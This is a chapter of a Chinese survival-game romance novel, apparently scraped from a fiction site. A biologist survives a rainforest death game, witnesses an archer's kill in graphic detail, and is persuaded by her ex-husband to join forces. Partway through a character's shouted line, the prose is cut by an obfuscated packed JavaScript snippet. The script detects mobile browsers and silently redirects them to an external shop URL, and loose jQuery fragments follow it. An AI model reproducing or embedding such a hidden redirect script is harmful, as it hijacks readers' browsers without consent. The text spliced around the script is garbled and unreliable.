文趣网 > 其他小说 > 生存游戏遇上病娇前夫 > 3. 病娇前夫的蛊惑
    水面漂着一层细小的油花,潭边没有水黾,也没有蛙。

    太安静了。

    她慢慢放下了叶子,往后退了一步。

    她想起了那个疯女人

    为了守株待兔,那疯女人足足在暗处蹲守了超过十分钟,就是为了让她放松警惕走上前去。

    而这个水滩里的水,难道真的没有问题吗?会不会有人在这里故意设陷阱?就算没有陷阱的话,这个水又真的安全吗?

    如此一个小型的水滩,想要污染的话太简单了。

    林檎放下了手中的叶子。

    但是实在是有点渴了,在这样温度湿度的雨林里,再加上体力消耗,应当每天至少要喝3.7L水。

    她必须想想办法。

    并不是只有海上缺淡水,在雨林里的干净水源同样难得。

    林檎将视线投向一旁的芭蕉树,雨林里的芭蕉树生得壮硕肥美,鲜绿动人。

    她咽了口口水,走上前去。

    一刀砍断芭蕉树。

    她剥了芭蕉树的皮,取出了最里面的树芯。

    芭蕉树芯是芭蕉假茎内部最嫩的芯,可食用,无毒,水分含量高,同时补充少量糖分和膳食纤维。

    一口咬下去,汁水慢慢渗进喉咙,带着生涩的草腥味。

    虽然口感没有那么好,但是暂时补充水源足够了。

    但这终归只是暂时的,想要稳定获得水源,还是要想办法。

    林檎再度翻找起自己的背包,却只在里面找到了几个药片、打火石、一卷钢丝。

    林檎看到打火石的那一刹那,荒谬一笑。

    在这个生存游戏里,生火?不要命了吧。

    至于钢丝,更是……

    她不知道这些个道具,到底用意何在。

    天色越来越暗,林檎就近找了个岩壁处,捡了几根木头斜支起,然后砍了几片棕榈叶铺在上面。

    在岩上铺上一些草叶,周围用灌木遮挡,一个简易的庇护所就做好了。

    生存游戏前期必然是要往外圈去找寻生存资源,然后随着时间推移,按贺渊所说慢慢往中心靠拢。

    这也意味着,想要长久在一个地方是不可能的,这样既找不到足够的生存资源,也极有可能会被人盯上。

    她又在周围拉了些草绳,草绳上又绑了靠近她庇护所的一根稚嫩的枝条,如果有人靠近触碰到草绳,她身旁的枝条立刻会断,而她也会惊醒。

    手中攥着匕首,她半睡半醒,逐渐意识淡了下去。

    实在是太累了。

    体力、精力,没有一个不透支的。

    半梦半醒中,她好像面前又看到了贺渊的面容。

    他安然坐在她身边,然后低下头在她额上落下一吻。

    是梦,不然他怎么可能能绕过草绳。

    是梦的话,那没关系的吧……

    暂时允许自己,放纵一会会儿。

    林檎的意识好像在飘,她伸出手,环住了贺渊的脖颈。

    早已磨合过无数次的身体无比熟悉彼此的习惯,他眉眼微颤,注视着她。

    浅到过分的琉璃双瞳里,满满都是她。

    “是我误会你了吗?”她心头发酸发涩,说出心底的话来。

    贺渊:“嗯?”

    “为什么三年来都不来找我,你早就想离婚了对不对?”

    贺渊:“……”

    “到底哪一个,才是真的你?”

    贺渊:“你想我是什么样的?”

    “我不知道。”

    贺渊:“小苹果连自己想要什么都不知道,又怎么能央求我来找你?”

    “可是,可是……”

    翻涌的情绪在心头荡漾。

    她——

    想念贺渊。

    或许只是习惯,只是习惯了下班之后埋在他的怀抱里,习惯了有他轻柔吻过她的额角,习惯了在他的注视中在脆弱中挣扎迷离。

    但是,这三年来,每次回到冷冰冰空无一人的家里,她都会恍惚。

    这个房子里充满了他们的回忆,可是这里如今只有她一人。

    空荡荡的床铺,昔日里她可以躺在贺渊的怀抱中,缩成一团,蹭蹭他,他也会宠溺纵容抱住她,赋予她安全感。

    她真的……很想念贺渊。

    即便知道他可能不是个好人。

    清醒的时候无法诉诸于口,那么在梦境中,是不是诉诸于口没有关系?

    贺渊:“嗯?可是什么。”

    林檎:“……我很想你。”

    他的目光闪烁,随后缓缓流连在她脖颈,那种熟悉的征兆,林檎无比清楚这意味着什么。

    可她同样纵容了这一刻,反而抓住男人宽大的掌心,贴在了自己的面颊旁。

    “我想你。”

    潮热许久方定。

    林檎再度醒来时,天已经蒙蒙亮了。

    她缓缓支起身子,努力让视线聚焦。

    昨天晚上……的梦,实在是过于离谱。

    梦都是反的,林檎安慰着自己。

    她简单收拾了行李,便打算开始今天的行程。

    踩过水塘时,水塘的镜面被扰碎。

    因而也看不见,她的颈侧,满是深深浅浅的红痕。

    *

    林檎制作了一个小型陷阱,只要小型动物经过陷阱就会触发,然后便又去找东西果腹了。

    虽然背包里其他的东西很匪夷所思,但是匕首还是很好用的,她用匕首将木头顶端削细,然后仔细观察地面植物形态后,用木棍掘向植物根部。

    是野生木薯,掰开可以看见白嫩的肉。

    木薯块根含有生氰糖苷,在酶作用下会释放氢氰酸,有毒。必须去皮、浸泡、彻底煮熟才能去除大部分毒素。

    林檎继续挖,足足挖了小半个背包才停了,然后又将木棍拿在手中。

    这个木棍不能留在这里,不然会暴露周围有人有刀具。

    做好这些,她就起身准备去看先前设下的陷阱有没有收获。

    然而,走到她放置陷阱的地方,却是听到了一声近乎是咆哮的声音!

    她立刻躲了起来!

    林檎慢慢探出头去,却见不远处是一个壮汉捂着眼睛疾呼,而他眼睛处……赫然是一支箭!

    那壮汉大叫出声:

    “Iwillkillyou!Yousonofbitch!”

    竟然是弓箭……看来这是其他对手拿到的武器!

    毫无疑问,弓箭在雨林的杀伤性简直就是巨大,只要埋伏好躲在暗处,冷不丁放一支箭,哪怕是这些体格巨大的壮汉也无法抵挡!

    在这样的游戏里,被射到眼球,几乎是百分之百,那个壮汉的右眼肯定废了!

    林檎浑身冷汗。

    如果她一直呆在这里,恐怕此刻被射中眼球的就是她了。

    就当她脑中纷乱之时,被眼前的震撼一幕吓僵了。

    那壮汉竟然直接咆哮一声,粗大的胳膊瞬间拔出了眼珠!

    只见透明的玻璃体混着血水,像被戳破的生鸡蛋一样喷涌而出,拖出几缕暗红,黏黏糊糊地挂在他颧骨上!!!

    那壮汉痛得喉咙里挤出一声宛若野兽的嘶吼。

    “Holyshit!Getout!Fight

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863477|212119||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    likeaman!”

    然而另外一支箭却是再度嗖得掠过一阵破空声!射在了壮汉肩膀上!

    “Ohmygod!Whatthe……!!!”

    因为躲在阴暗处,林檎足以看清楚第二支箭是从什么地方射过来的……

    她抬头看向一旁的树上。

    第一眼看过去,什么都没有看到。

    不对……她仔细辨认。

    然后,看到了一个浑身涂满了泥巴,绑着草的少年,弓箭几乎藏在了草木中。

    这个少年,能轻易射中壮汉右眼,在壮汉挣扎暴怒的情况下第二箭亦然中了,足以可见箭术之高超。

    而且……他竟然乔装打扮得和周围环境融为一体。

    必然是经验丰富,莫非这也不是他第一次参加生存游戏了吗?

    壮汉手里抄着长刀,咆哮着看向四周,却因为失去了一只眼睛和暴怒,没能发现树上隐蔽极佳的少年。

    很快,第三支箭射在了壮汉太阳穴上,瞬间,方才咆哮的壮汉便倒地。

    一道钟声响起。

    半晌,少年从树上跳下来。

    林檎立刻将身子缩得更加低了。

    一点翻找的声音后,安静了下来。

    林檎埋头已经够久了,想着抬头去看一眼,然而刚刚伸出头去看之时,一只手牢牢将她按回了原处!

    嗖得一声,尖利破空声传来。

    林檎瞳孔骤缩。

    刚才那个射箭少年没走!他知道自己在这里!

    如果不是刚才身后之人,她现在恐怕已经死了!

    “小苹果,你这样让我怎么放心你?”

    贺渊从树后站起身,动作行云流水拿出一把弩,和远处射箭少年对上。

    “要赌赌谁先死吗?”贺渊语调平静从容。

    那射箭少年眯起眼睛,扯起唇角:

    “你觉得我会比你慢?”

    贺渊满面无所谓:“我手中的是弩。”

    那射箭少年倏然笑了:“能拿到弩,真是运气好啊。”

    少年收起了弓箭:“决赛见。”

    他面朝着贺渊的方向缓缓后退,直至撤出了弩的攻击范围后,方才冷笑着转身离去。

    贺渊伸出手将她扶起。

    然后低下头,无限亲昵替她擦好面上的脏污,整理好发丝:

    “看看你都不照顾好自己,你让我怎么能放心?”

    方才可怖的一面还有那几乎死亡的后怕,和面前贺渊温柔低语和抚摸形成了极致的反差。

    她怔怔看着贺渊,看着他盛着昔日里无限宠溺和纵容的双眸,好似又回到了那个雨夜之前,看起来温润又体贴。

    “我们还是组队吧?”

    他耐心劝哄,眸中的情意几乎将她溺毙,浅色双瞳闪着漂亮蛊惑的光。

    “好吗?我会保护你,告诉你情报,我也需要小苹果这个生物学博士……对吧?”

    她只觉得自己好像置身一片飘着浓雾的海上,礁石边的海妖塞壬跃出了水面,唱着歌。

    歌声带着十足的蛊惑。

    他的劝说角度,从情说到理,没给她半分拒绝的空间。

    离婚前也是如此。

    每次吵架闹矛盾,贺渊总是在冷静下来后找她和好,说完情又说理。

    如此无数次。

    想必,唯一一次失败,就是没能劝得成林檎要离婚的决心。

    “嗯?小苹果,答应我吧,我需要你,好不好?”

    贺渊的嗓音低低的,这句话咬得是又软又缠绵,话尾好像带着小钩子,勾着她的心弦。

    她……